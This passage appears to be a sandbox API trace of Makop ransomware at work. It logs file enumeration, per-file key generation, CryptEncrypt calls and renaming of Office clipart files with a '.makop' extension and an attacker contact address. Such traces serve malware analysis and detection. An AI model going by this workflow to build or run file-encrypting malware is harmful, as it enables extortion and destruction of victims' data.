Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.545] CloseHandle (hObject=0xf0) returned 1 [0116.545] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0116.545] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0116.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.546] GetProcessHeap () returned 0x48a0000 [0116.546] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.546] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.546] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.546] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0116.550] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.550] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.550] GetProcessHeap () returned 0x48a0000 [0116.550] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.550] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.550] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.551] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.551] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.551] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.552] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.552] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.552] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6e34, lpOverlapped=0x0) returned 1 [0116.554] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e40, dwBufLen=0x6e40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e40) returned 1 [0116.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6e40, lpOverlapped=0x0) returned 1 [0116.554] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.555] SetEndOfFile (hFile=0xf0) returned 1 [0116.625] GetProcessHeap () returned 0x48a0000 [0116.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.625] GetProcessHeap () returned 0x48a0000 [0116.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.625] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.626] CloseHandle (hObject=0xf0) returned 1 [0116.626] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0116.626] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0116.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.628] GetProcessHeap () returned 0x48a0000 [0116.628] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.628] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0116.633] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.633] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.633] GetProcessHeap () returned 0x48a0000 [0116.633] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.633] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.633] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.633] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.633] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.634] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.634] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.634] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x44e6, lpOverlapped=0x0) returned 1 [0116.635] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44f0, dwBufLen=0x44f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44f0) returned 1 [0116.636] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.636] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x44f0, lpOverlapped=0x0) returned 1 [0116.636] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x45c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.637] SetEndOfFile (hFile=0xf0) returned 1 [0116.643] GetProcessHeap () returned 0x48a0000 [0116.643] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.643] GetProcessHeap () returned 0x48a0000 [0116.644] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.644] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.645] CloseHandle (hObject=0xf0) returned 1 [0116.645] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0116.645] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0116.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.646] GetProcessHeap () returned 0x48a0000 [0116.646] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.646] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0116.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.650] GetProcessHeap () returned 0x48a0000 [0116.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.650] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.650] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.650] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.651] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.651] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.651] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.652] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd04, lpOverlapped=0x0) returned 1 [0116.652] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10, dwBufLen=0xd10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd10) returned 1 [0116.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd10, lpOverlapped=0x0) returned 1 [0116.652] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.652] SetEndOfFile (hFile=0xf0) returned 1 [0116.659] GetProcessHeap () returned 0x48a0000 [0116.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.659] GetProcessHeap () returned 0x48a0000 [0116.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.659] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.661] CloseHandle (hObject=0xf0) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0116.661] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0116.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.661] GetProcessHeap () returned 0x48a0000 [0116.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.662] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.662] GetProcessHeap () returned 0x48a0000 [0116.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.667] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b0, lpOverlapped=0x0) returned 1 [0116.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0) returned 1 [0116.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b0, lpOverlapped=0x0) returned 1 [0116.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.668] SetEndOfFile (hFile=0xf0) returned 1 [0116.674] GetProcessHeap () returned 0x48a0000 [0116.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.674] GetProcessHeap () returned 0x48a0000 